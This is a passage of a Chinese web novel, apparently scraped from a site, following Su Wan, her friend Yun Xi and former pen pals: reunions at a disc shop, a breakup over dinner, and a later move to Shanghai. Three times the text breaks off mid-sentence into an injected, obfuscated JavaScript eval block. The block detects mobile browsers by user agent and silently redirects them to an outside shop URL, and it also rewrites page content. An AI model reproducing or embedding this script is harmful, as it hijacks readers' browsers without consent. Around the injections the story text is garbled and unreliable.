“嗯。”苏晚看着她,“两年了吧。” 门外那个男的探进半个身子,冲里面喊了一声:“林栖,好了没?” 林栖回头看了一眼,又转回来,把手里的笔举了举。 “我先买这个。” 她走到柜台那边,把钱付了,接过找零。然后从包里掏出一张纸,撕下一小块,写了一串数字递过来。 “店里电话多少?” 苏晚报了一遍。林栖记下来,把另一张纸条塞进口袋里。 “回头联系你。”她说,往外走了两步,又回过头,“你一直在这儿吗?” “暂时在。” 林栖点点头,挥挥手里的笔。 “那回头聊。” 她跑出去了,门外那个男的接过她手里的东西,两个人并肩走了。男的低头说了句什么,林栖仰起头回了一句,隔得远了,听不清内容。 苏晚站在店门口,看着他们的背影消失在人群里。 两年。 她靠在门框上,她心里默默算了一下。初三毕业那年暑假还见过几次,后来她上了职校,林栖上了高中,就慢慢没联系了。不是故意的,就是淡了。各自有各自的生活,各自有各自的朋友。 她站了一会儿,然后转身回店里。 傍晚的时候,太阳开始往下落。阳光从门口斜进来,落在那面光碟墙上,把那些花花绿绿的封面照得发亮。 苏晚蹲在墙根底下,整理最下面那一排碟片。这个位置光线暗,得歪着头才能看清上面的字。她把散落的碟片按编号插回去,手指在塑料盒上蹭出轻微的声响。 门被推开了。 风先涌进来,把墙上的海报吹得啪啪响了两声,然后又落回去。 “清清。” 苏晚回过头。 云曦站在门口,穿着一件白色的T恤,牛仔裤,头发扎成马尾,脸被太阳晒得有点红。她手里举着一根棒棒糖,冲苏晚晃了晃,糖纸在光里闪了一下。 “给。” 苏晚站起来,拍拍膝盖上的灰,走过去接过棒棒糖,糖纸拧得紧,她费了点劲才剥开,塞进嘴里。荔枝味的,甜味一下子在舌尖上散开。 “你怎么跟小孩似的。”她说。 云曦笑了一声,没接话,在店里转了一圈。她走到那面光碟墙跟前,仰着头,从最上面一排看到最下面一排,又从最下面看到最上面。 “这么多碟。”她啧啧两声,伸手抽出一张,看了一眼封面,又插回去,“你天天在这儿,不得看个够?” 苏晚靠着柜台,咬着棒棒糖的棍子。 “看多了就不想看了。” 云曦转回来,趴到柜台上,下巴搁在玻璃面上,看着她。柜台玻璃上还留着刚才擦过的水印,她下巴压在上面,留下一小片雾。 “什么时候去我家里玩?” 苏晚愣了一下,把棒棒糖从嘴里拿出来。 “你家?” “嗯。”云曦眨眨眼睛,“我妈老念叨你,说你怎么不来玩了。” 苏晚想了想。 “周末吧。” “周末哪天?” “星期六?” 云曦撇撇嘴。 “每次都说周末,每次都往后拖。” 苏晚笑起来,从嘴里拿出棒棒糖,指着她。 “这回真的。” 云曦看着她,看了两秒,哼了一声。 “行,信你一回。” 天快黑透了,街对面的路灯一盏一盏亮起来,橘黄色的光漫过人行道,在店门口的地砖上切出一块一块的光斑。云曦也没急着走,靠在柜台边上,手里翻着一本刚拆封的杂志,哗啦哗啦的。 苏晚把门口的箱子往门内推了推。 “你天天在这儿做这些,不烦?”云曦问。 “习惯了。”苏晚看了看四周,想想还有什么是没收拾好的。 云曦把杂志合上,往柜台上一拍。趴在柜台边上,下巴搁在胳膊上,歪着头看她继续干活。 两个人安静了一会儿,只有风扇吱呀吱呀的,吹着墙上那些海报边角一下一下地掀起来。 就在这时候,门外忽然传来一阵脚步声,踢踢踏踏的,不止一个人。然后是一个女声,带着点兴奋,压着嗓子说:“这这就是这。” 苏晚抬起头。 店门口站着三个人。打头的是林栖,头发被夜风吹得有点乱,脸上红扑扑的,像刚跑过路。她身后跟着两个男的——左边那个高高瘦瘦的,穿深蓝色外套,手插在口袋里,正歪着头看门上的招牌;右边那个戴着棒球帽,帽檐压得低,但嘴角翘着,像是在笑。 苏晚愣了一下,手里的碟片停在半空。 “林栖?” 林栖推门进来,带起一阵风,把墙上贴的海报吹得哗啦响。她站在光碟架子前面,两只手撑在膝盖上,喘了一口气,然后直起身,冲苏晚笑了。 “我又来了。” 苏晚把碟片往柜台上一放,从柜台后面绕出来。 “你怎么又回来了?” 林栖往旁边让了让,露出后面那两个人。 “我打电话给他”她朝身后努努嘴,“李建就说要来买东西,我说带他们来你这儿” “不欢迎?”后面那个戴棒球帽的接了一句,把帽檐往上推了推,露出一张晒得黑黑的脸,冲苏晚咧嘴一笑。 苏晚认出来了。张晨。 旁边那个高个子也往前迈了一步,把外套的拉链往下拽了拽,露出里面那件洗得发白的T恤。 “不意外?”他问,语气里带着点调侃,但眼睛是亮的。 苏晚看着他——李健,忽然笑了一下。 “高兴,是蛮意外的。” 李建嘴角翘起来,把手从口袋里抽出来,往柜台那边扫了一眼。 苏晚站在过道中间,看着这三个人。林栖站在最前面,马尾辫有点歪了,脸上还带着跑完路的那种红;李建在后面,个头最高,灯光从他背后照过来,把影子投在那面光碟墙上;张晨靠在门框上,帽檐还是压得低低的,但嘴角一直翘着。 有两年了。 上一次六个人凑在一起,还是初三暑假。后来散了,各走各的路,各忙各的事。她以为那些人早就散了,像那些信一样,收在抽屉里,慢慢泛黄,慢慢忘了。 现在他们站在她面前。 苏晚站在那儿,忽然觉得嗓子有点紧。她清了清嗓子,往柜台那边指了指。 “我还在上班,十点才关门。” “不急不急,”张晨从门框上直起身,“我们又不赶时间。” 云曦从柜台后面探出头来。她刚才一直趴在那儿,好奇地在这几个人脸上转了一圈。 苏晚转过身,冲云曦招招手。 “来,给你介绍一下。” 云曦从高脚凳上跳下来,走过来,站到苏晚旁边。 “这个是林栖,我初中同学。这个是李建,这个是张晨——以前交笔友认识的。” 云曦眨了眨眼睛,挨个看过去。 “你们就是那些笔友?” 林栖歪着头看她。 “你也知道?” “她跟我提过,”云曦指了指苏晚,“说以前登报交了一堆朋友,信多得收件室的阿姨都认识她了。” 苏晚的脸微微热了一下,伸手在云曦胳膊上拍了一下。 “别乱说。” 云曦躲开她的手,笑了一声,然后转向林栖,伸出手。 “我叫云曦,她发小。” 林栖握住她的手,晃了晃。 “林栖。听她提过你。” 几个人在店里站了一会儿,聊着聊着,不知道谁先提起了电脑。 “你们上那个论坛吗?”张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云曦想了想,忽然眯起眼睛,盯着李建的脸看了两秒。 “……是你?” 李建没说话,但眉毛挑了一下,嘴角的弧度大了些,双手从口袋里抽出来,交叉抱在胸前。 林栖抱着胳膊站在旁边,靠在那排文具架子,一只脚的脚尖点在地上,轻轻晃着。看着这几个人认来认去,嘴角弯着。 “你们慢慢认,我就不凑热闹了。” 云曦转过头看她,身子微微侧过去。 “你呢?你不上那个论坛?” “上。”林栖点点头,脚尖在地上点了两下。 “叫什么?” “林间小溪。” 云曦靠到柜台边上,两只手撑在台面上,手指张开又收拢,看看这个,又看看那个,长长地呼了一口气,肩膀跟着塌下来。 “世界真小。” 苏晚站在柜台后面,看着这三个人你一言我一语,忽然觉得有点恍惚。以前就觉得世界很大,觉得未来很远。 现在他们站在这间小店里,站在光碟架子和文具柜中间,聊着论坛,聊着帖子,聊着那些年谁也看不见谁的ID。 好像什么都没变。又好像什么都变了。 “星期六,别忘了来我家吃饭。”云曦拍了拍苏晚的肩膀提醒道。 苏晚回过神来。 “行。” 云曦转头看李建和张晨。 “你们也来?” 李建点点头。双手从胸前放下来,插回口袋里。 “行,我没事。” 张晨也点点头,帽檐跟着点了两下。 “我也行。” 云曦又看林栖,下巴微微抬起来。 “你呢?” 林栖摇摇头,笑了笑,脚尖在地上又点了两下,从架子上直起身。 “我就不去了,约了人。” 云曦挑了一下眉毛。嘴角往一边撇了撇。 “男朋友?” 林栖没点头也没摇头,只是笑了一下,往门口走了两步。步子不快,鞋底在地下蹭了一下。 “下次吧。” 她走到门口,停下来,手搭在门把手上,回头看了一眼。 “苏晚。” “嗯?” 林栖站在门口,外面的路灯照进来,把她的影子拉得长长的,落在那排光碟架子上。 “有空多联系。别老不打电话。” 苏晚点点头。 “知道了。” 林栖冲她挥挥手,推门出去了。脚步声在外面响了几下,先是鞋底踩在水泥地上的闷响,然后拐过街角,远了。 李建和张晨也往门口走。李建走到门口,拉开门,侧身让张晨先出去,自己跟在后面。门开到一半,他停了一下,回过并没有。 “星期六见。” 门关上了。 店里一下子安静下来。风扇还在转,哗哗的,吹着墙上的海报。 云曦靠在柜台上,看着那扇关上的门,啧啧两声。 “你这帮朋友,还挺有意思的。” 苏晚没说话。 “星期六,你可别迟到。”云曦说。 “知道了。” “每次都这么说,每次都要我等。”云曦看着苏晚。 “这回真的。” 云曦看着她两秒,哼了一声,从高脚凳上跳下来,脚落地的时候跺了一下。 “走了。” 她走到门口,推开门,外面的夜风吹进来,把风扇的风冲散了。 “记得锁门。”她说完,头也没回,走进外面的夜色里。马尾在肩膀后面晃了两下,被路灯的光染成暖黄色,然后暗下去,看不见了。 苏晚站在柜台后面,看着门口那道光。路灯还亮着,街上人少了,偶尔有车经过,车灯扫过玻璃门,亮一下,暗一下。 她站了一会儿,然后弯下腰,把柜子底下的灯关了。 51. 失恋的味道 周末,十点。 苏晚站在云曦家门口,手指曲起来叩了两下门板。木门是老式的,漆面斑驳,敲上去声音闷闷的,不像铁门那么脆。 门里面先是一阵拖鞋啪嗒啪嗒的响,然后是一声喊,隔着一道门传出来,声音又亮又冲——“来了来了!” 脚步声越来越近,门锁咔哒转了一圈,门被从里面拽开。 云曦的脸从门缝里挤出来,头发还没梳,乱蓬蓬地搭在肩膀上,但脸上那个笑铺得很开,嘴角往上翘,露出两颗小虎牙,眼睛眯成两道缝。 “你怎么还带了菜来?”她低头看见苏晚手里拎的塑料袋,伸手接过去,塑料袋在她手里晃了晃,里面的菜叶子蹭着袋口沙沙响。 苏晚把菜递给她,侧身从门框里挤进去,一边换鞋一边说:“来你家路上不是经过光明市场吗?顺手就买了点。”她弯腰把鞋后跟拔出来,穿上云曦踢过来的拖鞋,鞋底有点薄,踩在地板上凉凉的。 云曦拎着袋子往屋里走,步子跨得大,拖鞋在地板上啪嗒啪嗒的。云曦家的格局和苏晚家坡道上那栋楼一样,进门先是一条走廊,靠墙摆着柜子,柜子边上有个台面,平时放东西用的。她把袋子往台面上一放,转过身,两只手撑在台沿上,肩膀耸了一下。 “我妈去上班了,就我们几个人,得自己动手了。” 苏晚跟进来,把另一只手里的袋子也搁在台面上,解开系着的结,塑料袋口松开,里面的菜叶子支棱出来。 “好。”苏晚上下打量了她一眼,“你不先收拾下自己?” 云曦低头看了看自己的T恤,又摸了摸头发,手指插进发根里拢了两下,拢完更乱了。 “等等我——一起能帮做点什么。” “李建他们在路上,”苏晚低头翻了翻袋子里的东西,把葱和姜捡出来放在一边,“李建说过饮料他们会买点过来。我们可以先洗菜。” 云曦凑过来,下巴搁在苏晚肩膀上,歪着头看台面上摊开的那堆东西——西红柿、鸡蛋、几根葱、一块姜、还有一袋用小塑料袋装着的肉。 “那我们做什么菜呢?” 苏晚把西红柿捧起来看了看,底部的蒂还带着,有点蔫了,她用手指掐掉,扔进垃圾桶里。 “糖醋荔枝肉?西红柿炒蛋?” “荔枝肉你会做?”云曦从她肩膀上抬起头,下巴移开的时候在她肩头蹭了一下。 “不会。”苏晚把西红柿放进洗菜盆里,拧开水龙头,水柱冲在盆底溅起几朵水花,“但我妈做过,我看过。糖醋汁用番茄酱和白醋调,再加点糖——你家有番茄酱吗?” 云曦转身去翻柜子,踮着脚尖,手指够到第二层架子上的瓶瓶罐罐,一个一个拨过来看。她拿下一瓶,举到眼前看了看标签,又放回去,再拿一瓶。 “有!”她把一个玻璃瓶从架子上抽出来,转过身冲苏晚晃了晃,瓶底还剩小半罐,“应该是这个,快过期了,但还能用。” 苏晚接过来看了一眼,瓶盖上有层灰,她用手指抹了一下,拧开盖子凑近闻了闻,酸甜味冲进鼻子里。 “行。” 她把番茄酱搁在台面上,转身去切肉。肉是市场上买的那种猪里脊,小塑料袋装着,还带着点凉气。她撕开膜,把肉放在砧板上,刀拿在手里掂了掂,从肉块中间切下去,一片一片,厚薄不太均匀,有的厚有的薄,她看了一眼,没管。 云曦站在旁边,把西红柿从盆里捞出来,甩了甩水,搁在砧板另一头。她拿起另一把刀,西红柿在手里转了一圈,找准位置,一刀下去,汁水顺着刀面淌下来,流到砧板上,红红的。 云曦刀起刀落,西红柿块大小不一,有的切成了丁,有的还连着皮。她一边切一边抬头看苏晚:“你有没有还想吃的菜?我不怎么会做,你得动手哦!” 苏晚回头看她。云曦正低着头,刀悬在半空,等她回话。 “好。”苏晚说。 云曦把刀放下,手指点着下巴,眼睛往上翻,想了想:“再来一个汤,两个素菜,四个人,一个人一个菜,够?” “先做。”苏晚把切好的肉片拨进碗里,撒了点盐和淀粉,手指伸进去抓了抓,淀粉沾在指尖上,黏糊糊的。“不够再看看。” 云曦把切好的西红柿拨进盘子里,转过身去看冰箱。冰箱是老式的,淡绿色,门把手上挂着一块抹布。她拉开冰箱门,冷气涌出来,扑在她脸上,她眯了一下眼睛,探头往里看。冷藏室第二层躺着一条鱼,用塑料袋裹着,鱼尾巴从袋口支出来。 “鱼!我妈留了鱼!”她伸手把鱼连袋子一起拎出来,举到苏晚面前晃了晃 苏晚看了一眼,鱼眼睛还是亮的,鳞片没刮。 “你会杀鱼吗?”云曦问。 “不会。”苏晚把鱼接过来,放在水龙头底下冲,水冲在鱼身上,鳞片被冲得翘起来,亮闪闪的。“你会吗?” “我也不会。”云曦把脑袋凑过来,两个人并排站在水槽前面,低头看着那条鱼。 “等李建他们来吧,男的会杀鱼。” 苏晚把鱼放在水槽里,先不管它。她转身走到走廊边上的炉子前,去处理肉片。炉子是那种单头的煤气灶,搁在台面上,旁边放着油盐酱醋。她拧开火,蓝焰舔着锅底,锅里倒油,油热了,她把肉片一片一片滑进去,滋啦一声,油烟冒起来,她往后躲了一下,眯着眼睛用铲子翻。肉片在锅里卷起来,边缘焦黄,她用漏勺捞出来,沥了沥油,搁在一边。 云曦倚在门框上打鸡蛋,筷子在碗里搅得飞快,蛋液搅出泡沫,碗底转出一个漩涡。她停下来看了看,又搅了几下,泡沫更多了。 “行了行了,再搅就成蛋花了。”苏晚伸手按住她的手腕。 云曦把碗放下,手指在碗沿上蹭了蹭沾着的蛋液,抹在围裙上。围裙是白色的,印着一只卡通小猫,蛋液糊在小猫脸上,她看了一眼,又抹了一下,越抹越花。 苏晚在锅里留了点底油,把番茄酱倒进去,加白醋、白糖、一点水,铲子搅着,酱汁在锅里冒泡,咕嘟咕嘟的,颜色从暗红变成亮红,稠了,挂铲了。她把炸好的肉片倒回去,翻了几个个,每一片都裹上酱汁,红亮亮的,油光光的。 “尝尝。”她铲了一块肉,举到云曦嘴边。 云曦张嘴咬住,嚼了两下,腮帮子鼓着,眼睛亮了一下,竖起大拇指。 “行。”苏晚把火关了,锅端下来,搁在灶台边上。 门口传来脚步声,不是一个人,是几个人的,踢踢踏踏的,在楼道里带回音。然后门被拍了几下,不是敲,是拍,手掌拍在木门上,闷响。 “来了来了!”云曦扔下围裙,踩着拖鞋啪嗒啪嗒跑过去开门。 阳光从门口灌进来,照在过道的地板上,亮晃晃的一条。两个人的影子被拉得老长,叠在一起,分不清谁是谁。 李建站在最前面,张晨跟在他后面,两个人手里都拎着塑料袋,袋子鼓鼓囊囊的,里面装着饮料——美年达、七喜,还有几瓶啤酒。李建站在门口。 “要脱鞋吗?” 云曦摆摆手,往后退了两步让他们进来。 “不用不用,直接进。” 苏晚站在走廊柜子边上的台面前,侧过头看了一眼,又低头看了看自己脚上那双拖鞋,鞋底沾着水渍,踩在地上印出一个湿印子。 李建拎着袋子走进来,看见台面上摆着的锅碗瓢盆,脚步停了一下,目光从那盘糖醋荔枝肉上扫过去。 “这是已经做好菜了?” “没,”苏晚把铲子搁在锅沿上,转过身,“还有一条鱼没杀。你们谁露一手?” 李建和张晨对视了一眼。张晨把手里拎的饮料放在地上,把袖子往上推了推,露出小臂。 “我来吧。” 云曦指了指水槽,身子往旁边让了让。张晨走过去,低头看了一眼那条还躺在水槽里的鱼,伸手把鱼翻了个面,看了看另一边的腮。 饭桌上,盘子摆了一圈。糖醋荔枝肉红亮亮的堆在盘子中间,西红柿炒蛋黄红相间,鱼汤奶白色,上面飘着几粒葱花,两个素菜一左一右夹在中间。 云曦夹了一块荔枝肉塞进嘴里,嚼了两下,腮帮子鼓着,忽然停下来。她盯着筷子尖,嘴角往下撇了撇。 “这是失恋的味道。” 苏晚正往嘴里扒饭,被这句话噎了一下,筷子停在半空,转过头看云曦。李建和张晨明显愣了一下,筷子都悬着,互相看了一眼,又看云曦。 “没,”云曦低头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437417|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扒了一口饭,声音从碗里闷出来,不在意似的,“就是我失恋了,就在昨天。” 她夹了一块西红柿放进嘴里,嚼完咽下去,抬起头看苏晚,嘴角还沾着一点西红柿汁。 “清清,下午陪我去剪个短发吧。” 苏晚看着她,放下筷子。 “好。” 吃完饭,李建和张晨帮着把碗筷收进厨房。李建站在水槽边把盘子冲了冲,张晨拿抹布擦桌子。擦完,李建把抹布搭在水龙头上,甩了甩手上的水。 “我们还有点事,先走了。” 苏晚点点头。云曦从椅子上站起来,把他们送到门口。李建在门口停了一下,回头看了云曦一眼,想说什么,嘴巴张了张,又合上了,最后只是挥了挥手,转身下楼了。脚步声在楼道里响了几下,远了。 苏晚和云曦一起把碗洗完,台面擦干净,垃圾袋扎好口放在门口。云曦站在走廊的镜子前,用手指把头发拢了拢,对着镜子看了一眼,转身拿上钥匙。 理发店在街拐角,不大,门口转着红蓝白的柱子。师傅是个四十来岁的男人,围着云曦转了一圈,手指在她头发里捋了捋,问她想要什么样的。云曦对着镜子比划了一下,说短一点,到耳朵下面。师傅拿起剪刀,一绺一绺头发落在地上,黑色的,细细的,堆在脚边。 剪完出来,云曦甩了甩头,发尾刚好扫过耳垂。她伸手摸了摸后脑勺,又对着理发店门口的玻璃看了一眼,歪着头,侧过来侧过去。 “走吧,陪你去店里。” 苏晚看了她一眼,没说话,两个人沿着街边往回走。 到店里的时候,天还没暗。苏晚打开门,把电闸推上去,灯管闪了两下,亮了。云曦一屁股坐到柜台后面的高脚凳上,两条腿晃着,手撑在台面上,盯着空气看了一会儿。 开始说起自己的事情。 “结果昨天他打电话来,”云曦的声音闷闷的,“说分手。语气平静得像在说今天天气不错。我还没反应过来,他就挂了。” 云曦的手指又开始在台面上画圈,画了两圈,停下来。她的手掌按在玻璃上,指尖慢慢收紧,攥成拳头,又松开。 “就这样。” “他说我太粘人。说我动不动就发脾气。说他累了。”她一个一个往外蹦,每蹦一个,手指就在台面上敲一下,“我粘人?他一个月就找我三次。我发脾气?他放我鸽子连个电话都没有。他累?他累什么?” 声音越来越大,手在台面上拍了一下,掌心拍在玻璃上,闷响一声。 “他凭什么?”她又拍了一下,这回更重:“他凭什么跟我说分手?应该是老娘甩他才对!” 她喘着气,盯着自己的手。手心里红了一块,她攥了攥,又松开。然后她忽然笑了一声,很短,像从鼻子里喷出来的气。接着又笑了一声,这回长一些。最后整个人趴到柜台上,肩膀一抖一抖的,笑得收不住。 苏晚站在架子旁边,看着她的后背一起一伏。没动,也没说话。 “我是不是很傻?” 苏晚没回答。 云曦坐在高脚凳上,晃着腿。 “他以前追我的时候,每天都打电话。声音低低的,说晚安。我那时候就想,这个人声音真好听。” 苏晚转过身,靠在架子上,看着她。 云曦从高脚凳上跳下来,在地上站了一会儿,跺了一下脚,像是要把什么东西甩掉。她走到门口,手搭在门把手上,回头看了一眼。 窗外已经黑透了。街对面的路灯亮着,橘黄色的光漫过来,在门口的地砖上切出一块一块的光斑。偶尔有车经过,车灯扫过玻璃门,亮一下,暗一下。 云曦拉开门。夜风涌进来,带着街上残留的暑气和远处不知谁家炒菜的油烟味。 “走了。” 她头也没回,走进外面的夜色里。短头发在肩膀上弹了一下,被路灯照成暖黄色。走了几步,她举起手摆了摆,没回头,手落下去的时候在身侧晃了晃,然后拐过街角,不见了。 苏晚站在柜台后面,看着门口那道光。路灯还亮着,街上没什么人了,偶尔有自行车经过,链条转动的声响由远及近,又远了。她站了一会儿,走到门口,把门上的牌子翻到“休息”那面。 52. 聚点 苏晚那家店,后来不知怎么就成了朋友们的聚点。每天晚上,尤其是星期五和周末,店里总是热闹得很。灯管嗡嗡地亮着,光碟架子被翻得哗哗响,柜台前面永远有人靠着说话。 林栖隔三差五就带着她的大学男朋友来。那男生姓陈,戴眼镜,话不多,林栖挑碟片的时候他就站在门口等,手里拎着林栖的包,偶尔跟苏晚点个头。林栖挑完碟片往柜台上一放,胳膊肘撑着台面,歪着头看苏晚算账。“你们店里生意这么好,老板给你涨工资没有?”苏晚把碟片装进袋子里,头也没抬。“涨了,涨了两百。”林栖撇撇嘴,“才两百。”她男朋友在后面拉了拉她的袖子,她回头瞪了一眼,又把头转回来,“下周还来,给我留几张新碟。” 李建和张晨来得更勤。有时候自己来,有时候带着社区论坛聊天室里认识的朋友。那些人有男有女,网名一个比一个花哨——“城市猎人”“蓝色月光”“风中追风”。进门的时候李建先推门,侧身让后面的人进来,然后冲苏晚抬抬下巴。“借你宝地一用。”苏晚从柜台后面探出头,扫一眼那几个人,又把头缩回去。“用吧用吧,别把碟翻乱了就行。”那些人站在光碟架子前面,一边翻碟一边聊论坛上的事,谁发了什么帖子,谁在聊天室里跟谁吵起来了,谁又跟谁见了面。张晨靠在门框上,帽檐压得低低的,听着他们聊,偶尔插一句,声音不大,但每次都能把人逗笑。 云曦自从那天剪了短发之后,又恢复了老样子。上班,下班,偶尔来店里坐坐,坐在高脚凳上晃着腿,翻翻杂志,嗑嗑瓜子。但她嘴里多了一个话头——她以后要找的男朋友,一定要比前男友还会唱歌,声音一定要好听。 她说这话的时候正坐在柜台后面的高脚凳上,手里捏着一根棒棒糖,在桌沿上磕了磕糖纸,剥开,塞进嘴里。苏晚蹲在光碟架子底下整理碟片,头也没回。 “为什么非要声音好听?” “你不懂。”云曦把棒棒糖从嘴里拿出来,在手里转了一圈,糖纸上沾着口水,亮晶晶的。“一个人说话的声音好不好听,能看出这个人怎么样。” 苏晚从架子后面探出头,看了她一眼,愣了两秒。 “帅一点不好吗?” “帅有什么用?”云曦把棒棒糖又塞回嘴里,腮帮子鼓出一块,“帅又不能当饭吃。声音好听才是真的,每天打电话,声音好听心情都好。” 苏晚看着她那一本正经的样子,把脑袋缩回架子后面,心里想——好,很好。她不太懂,但云曦说好就好。 一连好几天,云曦没出现。 苏晚下班后去网吧找她——那家网吧在街对面二楼,楼梯窄窄的,走上去吱呀吱呀响,里面永远烟雾缭绕的。她推开门,机器一排一排摆着,屏幕上全是聊天室的界面,绿色的字一行一行往上跳。网吧老板坐在门口收银台后面,翘着腿看报纸,见她进来抬了抬眼皮。 “云曦来过吗?” “好几天没见了。” 苏晚又问了两天,都说没来。第三天中午,她从店里出来,站在街边抬头看网吧的窗户,窗户开着,里面有人影晃来晃去。她想了想,走上去,推开门,走到收银台前面,手撑在台面上。 “老板,帮我放句话。要是再见到云曦,告诉她——她再不来,我就要上吊挂脖子了。” 老板从报纸后面抬起头,看了她一眼,嘴角抽了一下,憋住没笑。 “行,我帮你转。” 苏晚回到店里,从柜台后面翻出一捆白色的大绳线,那是店里用来绑碟片礼盒的,一大卷,堆在地上。她蹲下来把绳子解开,一圈一圈绕,绕成一个小捆,再扎紧。正低着头忙活,门上的铃铛响了一声。 她抬起头。 云曦站在门口,短头发有点乱,脸上带着点不好意思的笑,一只脚在门槛上蹭了蹭,没进来。 苏晚瞪了她一眼。 那一眼是从眉毛底下翻上去的,嘴唇抿着,手里还攥着那捆白绳子,绳子头从指缝里垂下来,晃了晃。 云曦站在门口,刚要开口—— 门又被推开了。 李建探进半个身子,一眼看见苏晚蹲在地上,手里攥着白绳子,瞪着眼睛看门口。云曦站在门框底下,缩着脖子,像个做错事的小孩。李建的目光从苏晚手里的绳子移到云曦脸上,又从云曦脸上移回苏晚手里,愣了一下。 “这是……闹哪出?” 苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437418|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚把手里的绳子往地上一扔,绳子落在地上弹了一下,滚了半圈。 “你问她。” 云曦往前迈了一步,脚尖蹭着地板,挪到苏晚旁边,蹲下来,两只手搭在苏晚胳膊上,晃了晃。 “好了嘛——我错了嘛——” 她的声音拖得长长的,尾音往上翘,像小时候做错事被逮到的时候那样。苏晚胳膊被她晃得左右摆,没理她。 李建站在门口,看着这一幕,摇了摇头,嘴角弯了一下又压下去。 “你怎么这个时候来?”苏晚转头看他,把胳膊从云曦手里抽出来。 “约了朋友线下见面,”李建把手插进口袋里,肩膀往门框上一靠,“你这儿好找,地方显眼。” “行。”苏晚站起来,拍拍膝盖上的灰,把那捆白绳子踢到柜台底下,转身去整理架子上被翻乱的碟片。没再看云曦,也没再看李建。 云曦从地上站起来,拍了拍裤子上并不存在的灰,站在柜台边上,手指在台面上画圈,画了两圈,又画了两圈。 两个月后,苏晚把几个人叫到一起。林栖、李建、云曦,还有张晨,那天正好也在。 店里的灯管有些年头了,闪了两下才亮稳。苏晚站在柜台后面,手撑在台面上,看着他们。 “我要回上海过年了。”她顿了顿,“这边的工作,过两天就辞了。” 几个人都没说话。 李建靠在光碟架子上,手插在口袋里,低头看着自己的鞋尖。过了一会儿,他抬起头,笑了一下,那个笑没到眼睛。 “可惜了,少了个聚会的定点位置。” 苏晚看着他,想说什么,张了张嘴,没说出来。 云曦站在柜台边上,手指还在台面上画圈,画到一半停下来,抬起头。 “晚点联系你。” 苏晚转过头看她。 “我妈说,可能也要带我去上海。”云曦的手指在台面上敲了一下,“到时候去找你。” 苏晚看着她,点了点头。 “好。” 店里的灯管又闪了一下,像是要灭,又亮了。光碟架子上那些花花绿绿的封面,被光照着,颜色还是那么亮。 53. 飞飞网吧 2002年国庆节。 苏晚在外婆家的客厅里接到了云曦的电话。 “清清,我随我妈来上海了。” 电话那头的声音很亮,隔着话筒都能听出那个人的嘴角翘得多高。 苏晚握着话筒,愣了一秒,嘴角往上翘了起来,把听筒换到另一边耳朵,肩膀夹住。“什么时候到的?” “刚到。我妈在收拾东西,我就给你打电话。”云曦的声音在那边蹦,每个字都带着气。 苏晚来上海快1年了。职校的第二个学期,外公母亲陆续离世了。外婆很是伤心。毕业时外婆想回老家呆着,舅舅就问她是否可以一起呆在上海。那时的她只是短期的想在老家过年,没想到一呆就快一年了。 近期,苏晚在镇上找了份工作,网吧收银,两班倒,包吃不包住,就在就近的网吧租了个自建房,离网吧走路20分钟。 节后。 苏晚站在“飞飞网吧”的收银台里,正低着头查看桌底空置位置里的桶装方便面、矿泉水、饮料的数量。她把数字记在板子上,笔尖在纸上划出沙沙的声响。 门上的铃铛响了。 “欢迎光临!”苏晚头也没抬,把最后一排数字记完,笔别在板子夹子上,抬起头。 门口站着一个人。中长头发,白T恤,牛仔裤,正站在门垫上跺了跺鞋底,抬起头,冲她笑。 “云曦。”苏晚从收银台后面绕出来,拉着她的胳膊上下看了一眼。云曦比去年瘦了点,下巴尖了,但眼睛还是那样,亮亮的,笑起来弯成两道缝。 “等我一下。”苏晚转身回去,蹲下来把剩下的最后几箱数字点完。站起来,把板子往收银台上一放,快步从台子后面绕出来,走得急,膝盖碰了一下桌角,疼得她咧了一下嘴,没顾上揉。 云曦已经坐到靠窗的椅子上,背对着那面大玻璃窗。窗外是镇上的主街,能看见外面的街。 苏晚还没坐下,云曦就从椅子上弹起来,一把拉住她的胳膊,把她拽到面前,上下左右地看,目光在她身上来回扫了两遍。 “没瘦。”云曦松开她的胳膊,退后一步,上下又看了一眼,嘴角翘起来。 苏晚瞪了她一眼,“我不要这么胖。谁要谁拿去。”她低头看了看自己,伸手捏了捏自己的腰,手指掐进去一截。今年的夏天,街上那些小姑娘穿着小背心短裤,露着腰,露着腿,花花绿绿的,她看了就烦。她只能穿裤子,牛仔裤,休闲裤,什么都行,就是不能穿裙子,不能穿短裤。 “好好好,我拿去。”云曦笑着伸手,在她腰上捏了一把,手指还没碰到,苏晚就躲开了,一巴掌拍在她手背上。 云曦缩回手,揉了揉手背,没恼。云曦坐回椅子上,转头看了一眼窗外的街,又转回来。“有没有空?出去吃个饭?” 苏晚摇摇头,在旁边的椅子上坐下来。“来不及回来。晚上还有人来接班。” “那你几点下班?” “九点。” 云曦看了看墙上的钟,哦了一声,下巴搁在椅背上,看着天花板上的日光灯管发了几秒呆。 “要不,你今晚和我睡。”苏晚侧过头看她,手指在椅子扶手上敲了一下。 